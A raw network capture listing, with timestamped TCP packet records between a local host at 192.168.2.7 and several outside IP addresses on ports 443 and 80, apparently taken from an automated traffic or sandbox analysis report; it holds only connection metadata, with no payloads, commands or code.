Nov 28, 2024 11:05:38.735692024 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:38.735713005 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.735724926 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:38.735730886 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.738445044 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:38.738497019 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.738560915 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:38.738676071 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:38.738687992 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.831473112 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:38.831542015 CET	443	49905	23.44.201.23	192.168.2.7
Nov 28, 2024 11:05:38.831738949 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:38.832001925 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:38.832016945 CET	443	49905	23.44.201.23	192.168.2.7
Nov 28, 2024 11:05:38.953260899 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:38.953574896 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:38.953602076 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:38.954071045 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:38.954384089 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:38.954442978 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:38.954651117 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:38.995335102 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:39.032675028 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.033124924 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.033169985 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.033579111 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.033585072 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.044702053 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.045037031 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.045077085 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.045450926 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.045456886 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.176301956 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.177072048 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.177099943 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.177858114 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.177864075 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.179620028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:39.179754972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:39.273407936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:39.334377050 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.334661007 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:39.334685087 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.335042000 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.335378885 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:39.335443020 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.335660934 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:39.383338928 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.393361092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:39.408230066 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:39.408314943 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:39.408436060 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:39.413096905 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:39.413115978 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:39.480026007 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.480087042 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.480159998 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.480355978 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.480374098 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.480386019 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.480392933 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.483194113 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.483237982 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.483295918 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.483449936 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.483457088 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.493437052 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.494066954 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.494096994 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.494518995 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.494527102 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.622705936 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.622781038 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.622836113 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.623030901 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.623045921 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.623064995 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.623070955 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.625967026 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.626003981 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.626148939 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.626310110 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.626321077 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.705513000 CET	443	49901	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:39.705791950 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:39.705816984 CET	443	49901	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:39.706878901 CET	443	49901	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:39.706938028 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:39.708095074 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:39.708168030 CET	443	49901	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:39.723020077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:39.723046064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:39.723089933 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:39.723119020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:39.723453999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:39.723638058 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:39.734584093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:39.753915071 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:39.753945112 CET	443	49901	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:39.804442883 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:39.854584932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:39.885490894 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:39.885518074 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:39.885575056 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:39.886311054 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:39.886318922 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:39.913413048 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.913431883 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.913496017 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:39.913508892 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.916846037 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:39.919555902 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:39.919583082 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:39.946789980 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.946850061 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.946979046 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.947148085 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.947179079 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.947194099 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.947200060 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.956054926 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.956103086 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:39.956223965 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.959621906 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:39.959639072 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.036730051 CET	443	49902	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.036982059 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.037008047 CET	443	49902	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.037931919 CET	443	49902	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.037990093 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.038903952 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.038960934 CET	443	49902	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.043497086 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.043714046 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.043777943 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.043811083 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.043833971 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.043848038 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.043854952 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.046451092 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.046549082 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.046797037 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.047002077 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.047036886 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.088691950 CET	443	49903	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.088994026 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.089006901 CET	443	49903	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.089854956 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.089893103 CET	443	49902	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.090048075 CET	443	49903	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.090099096 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.090495110 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.090560913 CET	443	49903	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.134633064 CET	443	49905	23.44.201.23	192.168.2.7
Nov 28, 2024 11:05:40.134722948 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.134809017 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.134838104 CET	443	49903	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:40.134896040 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:40.134919882 CET	443	49905	23.44.201.23	192.168.2.7
Nov 28, 2024 11:05:40.135822058 CET	443	49905	23.44.201.23	192.168.2.7
Nov 28, 2024 11:05:40.135889053 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:40.137106895 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:40.137168884 CET	443	49905	23.44.201.23	192.168.2.7
Nov 28, 2024 11:05:40.183362007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:40.183435917 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:40.183597088 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:40.184403896 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:40.184437990 CET	443	49905	23.44.201.23	192.168.2.7
Nov 28, 2024 11:05:40.201659918 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:40.230537891 CET	49905	443	192.168.2.7	23.44.201.23
Nov 28, 2024 11:05:40.247944117 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.247992039 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:40.248184919 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.248527050 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.248543024 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:40.256078005 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.256136894 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:40.256282091 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.256567955 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.256587029 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:40.263732910 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.263767958 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:40.263834953 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.264194965 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:40.264209032 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:40.321744919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:40.584019899 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.584944010 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.585011959 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:40.585659027 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:40.585669994 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.037945032 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.038022041 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.038269997 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.038338900 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.038338900 CET	49904	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.038366079 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.038378000 CET	443	49904	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.041074038 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.041126966 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.041230917 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.041435957 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.041450977 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.050976992 CET	443	49900	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:41.051366091 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:41.051395893 CET	443	49900	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:41.052443027 CET	443	49900	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:41.052501917 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:41.052834034 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:41.052897930 CET	443	49900	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:41.094759941 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:41.094793081 CET	443	49900	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:41.136486053 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:41.148653030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:41.148720026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:41.189743996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:41.215559006 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.216123104 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.216166973 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.216641903 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.216651917 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.310574055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:41.410504103 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.410993099 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.411017895 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.411462069 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.411467075 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.443675995 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.443928957 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:41.443947077 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.444305897 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.444598913 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:41.444679022 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.444731951 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:41.461479902 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.461751938 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.461776972 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.462089062 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.462975979 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.463028908 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.463766098 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.475836039 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.476218939 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.476242065 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.477260113 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.477341890 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.478013992 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.478070974 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.478156090 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.478163004 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.487337112 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.507335901 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.511280060 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:41.516129017 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.516356945 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.516387939 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.516730070 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.517319918 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.517425060 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.517543077 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.526931047 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:41.563329935 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:41.640681982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:41.640944004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:41.646030903 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:41.649413109 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.649485111 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.649542093 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.649748087 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.649766922 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.649782896 CET	49906	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.649790049 CET	443	49906	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.653557062 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.653592110 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.653664112 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.654005051 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.654017925 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.674173117 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.682370901 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.682410955 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.684673071 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.684683084 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.765944958 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:41.766030073 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:41.766321898 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:41.830996037 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.836052895 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.836092949 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.836827040 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.836833954 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.855479002 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.855566978 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.855673075 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.864662886 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.864690065 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.864742041 CET	49907	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.864748001 CET	443	49907	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.871803045 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.871851921 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.871913910 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.872482061 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:41.872493982 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:41.886207104 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:41.889381886 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.889480114 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.889636993 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:41.919814110 CET	49908	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:41.919842958 CET	443	49908	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:41.956315041 CET	49918	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:41.956381083 CET	443	49918	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:41.956593990 CET	49918	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:41.956895113 CET	49918	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:41.956906080 CET	443	49918	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:42.017910957 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.017934084 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.017951012 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.017992020 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.018014908 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.018027067 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.018052101 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.032495975 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.032516003 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.032527924 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.032555103 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.032583952 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.032608032 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.032620907 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.032625914 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.032666922 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.077346087 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.077375889 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.077389956 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.077436924 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.077471972 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.077519894 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.108351946 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.108374119 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.108424902 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.108454943 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.108517885 CET	443	49909	13.107.246.63	192.168.2.7
